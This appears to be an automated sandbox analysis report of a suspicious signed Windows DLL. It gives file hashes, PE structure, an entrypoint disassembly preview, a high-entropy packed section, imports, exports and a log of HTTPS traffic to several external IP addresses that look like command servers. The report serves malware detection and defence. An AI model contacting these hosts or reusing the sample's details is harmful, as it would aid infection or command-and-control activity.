SHA1:	4a013f752c2bf84ca37e418175e0d9b6f61f636d
SHA256:	f4cb6b684ea097f867d406a978b3422bbf2ecfea39236bf3ab99340996b825de
SHA512:	6ed929967005eaa6407e273b53a1fedcb2b084d775bed17272fd05b1ce143dbf921ac201246dfbfdbe663c7351e44c12f162e6f03343548b69b5d4598bb3492e
SSDEEP:	12288:8XG3MpAOIQ1LjbJFqzqUtYP4VnRk62yoK2:SpAOfFJIq/Py8K2
TLSH:	4AB4BE4A37A80CB6E867C17D88634705E3B27D610761C6DF1290536F9F3BBD2663AB12
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........C.s.". .". .". .D.!.". .D.!o". .J.!.". .J.!.". .J.!.". tK.!.". .D.!.". .D.!.". .". q". tK.!.". tK.!.". tK.!.". tK? .". ."W .".

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x18000e1c0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x180000000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	HIGH_ENTROPY_VA
Time Stamp:	0x5C24FE09 [Thu Dec 27 16:30:01 2018 UTC]
TLS Callbacks:	0x80020fe0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	90ad3b5a283c3a333bb222c03419fb76

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec ecx
mov edi, eax
mov ebx, edx
dec eax
mov esi, ecx
cmp edx, 01h
jne 00007F611CBAF4F7h
call 00007F611CBAF8D0h
dec esp
mov eax, edi
mov edx, ebx
dec eax
mov ecx, esi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
jmp 00007F611CBAF384h
int3
int3
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+18h], ebp
push esi
push edi
inc ecx
push esi
dec eax
sub esp, 10h
xor ecx, ecx
mov dword ptr [00029DFEh], 00000002h
xor eax, eax
mov dword ptr [00029DEEh], 00000001h
cpuid
inc esp
mov edx, ecx
inc esp
mov ecx, edx
xor ecx, 444D4163h
xor edx, 69746E65h
mov ebp, ebx
inc ebp
xor ebx, ebx
xor ebp, 68747541h
inc esp
mov eax, ebx
or ebp, edx
inc esp
mov esi, eax
or ebp, ecx
inc ecx
xor ecx, 49656E69h
inc ecx
xor eax, 756E6547h
inc ecx
lea eax, dword ptr [ebx+01h]
xor ecx, ecx
inc ecx
xor edx, 6C65746Eh
cpuid
inc ebp
or eax, ecx
mov dword ptr [esp], eax
inc ebp
or eax, edx
mov dword ptr [esp+04h], ebx
mov esi, ecx
mov dword ptr [esp+08h], ecx
mov edi, eax
mov dword ptr [esp+00h], edx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x36de0	0xbc	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x36e9c	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3e000	0x1238	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x3b000	0x22bc	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x3c400	0x3278
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x40000	0x8fc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x31570	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x316d0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x315d0	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x25000	0x3d8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x23a99	0x23c00	87bfc32636bf93aa5ba6a79278de1d82	False	0.5472779173951049	data	6.420263931637599	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x25000	0x12b20	0x12c00	0f7e92ec4b27ef7a718d78d4d512f916	False	0.4034114583333333	OpenPGP Secret Key Version 3	4.778349716646358	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x38000	0x2b34	0x1600	a4dd3c567a44787ef36b75c1461eadc7	False	0.189453125	data	3.77323134284555	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x3b000	0x22bc	0x2400	4b6b0ab05d617b8443d04115ebcf4698	False	0.4678819444444444	data	5.261331885690949	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x3e000	0x1238	0x1400	262a27cc3c07916543c338d007e971a7	False	0.3376953125	data	4.197268760185116	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x40000	0x8fc	0xa00	029935b97db1b1dda5ddd384d84aface	False	0.52734375	data	5.178504761959821	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
hVr	0x41000	0x43000	0x42e00	b359e2ed16a1c00b78e0035c276c8cf4	False	0.9683703271028037	data	7.985612673503669	IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
REGISTRY	0x3e6c0	0xc	ASCII text, with CRLF line terminators	English	United States	1.6666666666666667
REGISTRY	0x3e598	0x125	ASCII text, with CRLF line terminators	English	United States	0.7747440273037542
REGISTRY	0x3e6d0	0x1fc	ASCII text, with CRLF line terminators	English	United States	0.5866141732283464
TYPELIB	0x3e8d0	0x7b8	data	English	United States	0.31983805668016196
RT_STRING	0x3f088	0x2c	data	English	United States	0.5681818181818182
RT_VERSION	0x3e200	0x398	OpenPGP Public Key	English	United States	0.45652173913043476
RT_MANIFEST	0x3f0b8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	UnmapViewOfFile, FreeLibrary, GetModuleFileNameW, GetModuleHandleW, GetProcAddress, LoadLibraryExW, LoadResource, SizeofResource, FindResourceW, lstrcmpiW, MultiByteToWideChar, MapViewOfFile, EncodePointer, EnterCriticalSection, LeaveCriticalSection, GetThreadLocale, SetThreadLocale, CreateFileW, GetFileSizeEx, CreateFileMappingW, GetCurrentThreadId, GetCurrentProcessId, DeleteCriticalSection, InitializeCriticalSectionEx, GetLastError, RaiseException, DecodePointer, CloseHandle, CreateEventW, OpenEventA, CreateEventA, WaitForSingleObjectEx, ResetEvent, SetEvent, WriteConsoleW, GetConsoleMode, GetConsoleCP, WriteFile, LocalAlloc, SetLastError, LocalFree, IsDebuggerPresent, OutputDebugStringW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, GetStartupInfoW, QueryPerformanceCounter, GetSystemTimeAsFileTime, InitializeSListHead, RtlPcToFileHeader, RtlUnwindEx, InterlockedFlushSList, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, ExitProcess, GetModuleHandleExW, HeapFree, HeapAlloc, HeapSize, HeapReAlloc, GetStdHandle, GetFileType, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW, GetProcessHeap, SetFilePointerEx, GetStringTypeW, SetStdHandle, FlushFileBuffers
USER32.dll	CharNextW
ADVAPI32.dll	RegQueryInfoKeyW, RegOpenKeyExW, RegEnumKeyExW, RegDeleteValueW, RegDeleteKeyW, RegCreateKeyExW, RegCloseKey, RegSetValueExW
ole32.dll	CoTaskMemRealloc, CoTaskMemFree, CoCreateInstance, StringFromGUID2, CoTaskMemAlloc
OLEAUT32.dll	VarUI4FromStr, SysFreeString, SysAllocString, SysStringLen, LoadTypeLib, RegisterTypeLib, UnRegisterTypeLib
ntdll.dll	NtRequestWaitReplyPort, NtConnectPort, NtClose, NtRequestPort, RtlCaptureContext, RtlLookupFunctionEntry, NtCreateSection, RtlVirtualUnwind, RtlNtStatusToDosError, RtlInitUnicodeString

Exports

Name	Ordinal	Address
DllCanUnloadNow	1	0x18000b1c0
DllGetClassObject	2	0x18000b060
DllInstall	3	0x18000b350
stow	4	0x18000b1f0
DllUnregisterServer	5	0x18000b330

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 11, 2024 00:04:12.876111984 CEST	49745	443	192.168.2.4	91.194.11.183
May 11, 2024 00:04:12.876151085 CEST	443	49745	91.194.11.183	192.168.2.4
May 11, 2024 00:04:12.876234055 CEST	49745	443	192.168.2.4	91.194.11.183
May 11, 2024 00:04:12.884301901 CEST	49745	443	192.168.2.4	91.194.11.183
May 11, 2024 00:04:12.884325027 CEST	443	49745	91.194.11.183	192.168.2.4
May 11, 2024 00:04:13.100040913 CEST	443	49745	91.194.11.183	192.168.2.4
May 11, 2024 00:04:13.100138903 CEST	49745	443	192.168.2.4	91.194.11.183
May 11, 2024 00:04:13.150934935 CEST	49745	443	192.168.2.4	91.194.11.183
May 11, 2024 00:04:13.150954962 CEST	443	49745	91.194.11.183	192.168.2.4
May 11, 2024 00:04:13.151766062 CEST	443	49745	91.194.11.183	192.168.2.4
May 11, 2024 00:04:13.151813984 CEST	49745	443	192.168.2.4	91.194.11.183
May 11, 2024 00:04:13.153366089 CEST	49745	443	192.168.2.4	91.194.11.183
May 11, 2024 00:04:13.196130991 CEST	443	49745	91.194.11.183	192.168.2.4
May 11, 2024 00:04:13.836091995 CEST	443	49745	91.194.11.183	192.168.2.4
May 11, 2024 00:04:13.836138010 CEST	49745	443	192.168.2.4	91.194.11.183
May 11, 2024 00:04:13.836318970 CEST	443	49745	91.194.11.183	192.168.2.4
May 11, 2024 00:04:13.836368084 CEST	49745	443	192.168.2.4	91.194.11.183
May 11, 2024 00:04:13.836373091 CEST	443	49745	91.194.11.183	192.168.2.4
May 11, 2024 00:04:13.836404085 CEST	49745	443	192.168.2.4	91.194.11.183
May 11, 2024 00:04:13.836424112 CEST	443	49745	91.194.11.183	192.168.2.4
May 11, 2024 00:04:13.836445093 CEST	49745	443	192.168.2.4	91.194.11.183
May 11, 2024 00:04:13.836451054 CEST	443	49745	91.194.11.183	192.168.2.4
May 11, 2024 00:04:13.836477041 CEST	49745	443	192.168.2.4	91.194.11.183
May 11, 2024 00:04:14.160665989 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:14.160695076 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:14.160757065 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:14.161567926 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:14.161585093 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:14.349921942 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:14.349992037 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:14.633188009 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:14.633209944 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:14.633583069 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:14.633660078 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:14.633950949 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:14.680125952 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.302793026 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.302824020 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.302925110 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.302937031 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.302953005 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.303011894 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.303020000 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.303076029 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.423475027 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.423537016 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.423574924 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.423590899 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.423614025 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.423616886 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.423635960 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.423640013 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.423652887 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.423682928 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.423687935 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.423732996 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.544538021 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.544625044 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.544735909 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.544791937 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.545012951 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.545084953 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.545223951 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.545291901 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.545304060 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.545350075 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.665793896 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.665921926 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.665981054 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.666047096 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.666162968 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.666223049 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.787254095 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.787345886 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.787383080 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.787396908 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.787437916 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.787437916 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.787859917 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.787950039 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.788012028 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.788074017 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.788597107 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.788633108 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.788666964 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.788672924 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.788682938 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.788746119 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.908390045 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.908490896 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.908793926 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.908823967 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.908847094 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.908876896 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.908876896 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:15.908888102 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:15.908951044 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.029175997 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.029218912 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.029264927 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.029280901 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.029320002 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.029320002 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.029334068 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.029392958 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.029403925 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.029464960 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.156616926 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.156735897 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.156819105 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.156900883 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.156963110 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.157041073 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.157193899 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.157263994 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.281892061 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.282010078 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.282191992 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.282262087 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.282413960 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.282485008 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.282649994 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.282737970 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.401212931 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.401323080 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.401331902 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.401340961 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.401420116 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.401422977 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.401427984 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.401524067 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.401549101 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.401633024 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.402426004 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.402496099 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.402559042 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.402621984 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.402714014 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.402751923 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.402765989 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.402776003 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.402793884 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.402817011 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.524367094 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.524405956 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.524487019 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.524517059 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.524533033 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.524557114 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.524588108 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.524621964 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.524629116 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.524683952 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.524684906 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:16.524734020 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.581928968 CEST	49750	443	192.168.2.4	138.124.183.215
May 11, 2024 00:04:16.581959963 CEST	443	49750	138.124.183.215	192.168.2.4
May 11, 2024 00:04:18.800654888 CEST	49753	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:18.800705910 CEST	443	49753	54.175.181.104	192.168.2.4
May 11, 2024 00:04:18.800782919 CEST	49753	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:18.801140070 CEST	49753	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:18.801151991 CEST	443	49753	54.175.181.104	192.168.2.4
May 11, 2024 00:04:19.006895065 CEST	443	49753	54.175.181.104	192.168.2.4
May 11, 2024 00:04:19.006954908 CEST	49753	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:19.010859013 CEST	49753	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:19.010878086 CEST	443	49753	54.175.181.104	192.168.2.4
May 11, 2024 00:04:19.011146069 CEST	443	49753	54.175.181.104	192.168.2.4
May 11, 2024 00:04:19.011267900 CEST	49753	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:19.011759043 CEST	49753	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:19.052115917 CEST	443	49753	54.175.181.104	192.168.2.4
May 11, 2024 00:04:19.605072975 CEST	443	49753	54.175.181.104	192.168.2.4
May 11, 2024 00:04:19.605142117 CEST	443	49753	54.175.181.104	192.168.2.4
May 11, 2024 00:04:19.605285883 CEST	49753	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:19.605534077 CEST	49753	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:19.605552912 CEST	443	49753	54.175.181.104	192.168.2.4
May 11, 2024 00:04:19.605581999 CEST	49753	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:19.605693102 CEST	49753	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:19.713289022 CEST	49754	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:19.713349104 CEST	443	49754	95.164.68.73	192.168.2.4
May 11, 2024 00:04:19.713514090 CEST	49754	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:19.713869095 CEST	49754	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:19.713892937 CEST	443	49754	95.164.68.73	192.168.2.4
May 11, 2024 00:04:20.069000959 CEST	443	49754	95.164.68.73	192.168.2.4
May 11, 2024 00:04:20.069299936 CEST	49754	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:20.072027922 CEST	49754	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:20.072046995 CEST	443	49754	95.164.68.73	192.168.2.4
May 11, 2024 00:04:20.072290897 CEST	443	49754	95.164.68.73	192.168.2.4
May 11, 2024 00:04:20.072371006 CEST	49754	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:20.072694063 CEST	49754	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:20.120126009 CEST	443	49754	95.164.68.73	192.168.2.4
May 11, 2024 00:04:20.584696054 CEST	443	49754	95.164.68.73	192.168.2.4
May 11, 2024 00:04:20.584779978 CEST	443	49754	95.164.68.73	192.168.2.4
May 11, 2024 00:04:20.584791899 CEST	49754	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:20.584887028 CEST	49754	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:20.584928036 CEST	49754	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:20.584948063 CEST	443	49754	95.164.68.73	192.168.2.4
May 11, 2024 00:04:20.584959030 CEST	49754	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:20.585009098 CEST	49754	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:25.662625074 CEST	49755	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:25.662666082 CEST	443	49755	95.164.68.73	192.168.2.4
May 11, 2024 00:04:25.662748098 CEST	49755	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:25.662981987 CEST	49755	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:25.662997007 CEST	443	49755	95.164.68.73	192.168.2.4
May 11, 2024 00:04:26.007230997 CEST	443	49755	95.164.68.73	192.168.2.4
May 11, 2024 00:04:26.007307053 CEST	49755	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:26.007765055 CEST	49755	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:26.007776022 CEST	443	49755	95.164.68.73	192.168.2.4
May 11, 2024 00:04:26.009032011 CEST	49755	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:26.009037018 CEST	443	49755	95.164.68.73	192.168.2.4
May 11, 2024 00:04:26.566164970 CEST	443	49755	95.164.68.73	192.168.2.4
May 11, 2024 00:04:26.566241980 CEST	49755	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:26.566246986 CEST	443	49755	95.164.68.73	192.168.2.4
May 11, 2024 00:04:26.566293001 CEST	49755	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:26.566401958 CEST	49755	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:26.566418886 CEST	443	49755	95.164.68.73	192.168.2.4
May 11, 2024 00:04:26.566431046 CEST	49755	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:26.566463947 CEST	49755	443	192.168.2.4	95.164.68.73
May 11, 2024 00:04:28.600533009 CEST	49756	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:28.600570917 CEST	443	49756	54.175.181.104	192.168.2.4
May 11, 2024 00:04:28.600650072 CEST	49756	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:28.600826979 CEST	49756	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:28.600836039 CEST	443	49756	54.175.181.104	192.168.2.4
May 11, 2024 00:04:29.295164108 CEST	443	49756	54.175.181.104	192.168.2.4
May 11, 2024 00:04:29.295233011 CEST	49756	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:29.296261072 CEST	49756	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:29.296268940 CEST	443	49756	54.175.181.104	192.168.2.4
May 11, 2024 00:04:29.298552036 CEST	49756	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:29.298557997 CEST	443	49756	54.175.181.104	192.168.2.4
May 11, 2024 00:04:29.488142014 CEST	443	49756	54.175.181.104	192.168.2.4
May 11, 2024 00:04:29.488218069 CEST	49756	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:29.488240004 CEST	443	49756	54.175.181.104	192.168.2.4
May 11, 2024 00:04:29.488251925 CEST	443	49756	54.175.181.104	192.168.2.4
May 11, 2024 00:04:29.488281965 CEST	49756	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:29.488300085 CEST	49756	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:29.488487959 CEST	49756	443	192.168.2.4	54.175.181.104
May 11, 2024 00:04:29.488501072 CEST	443	49756	54.175.181.104	192.168.2.4
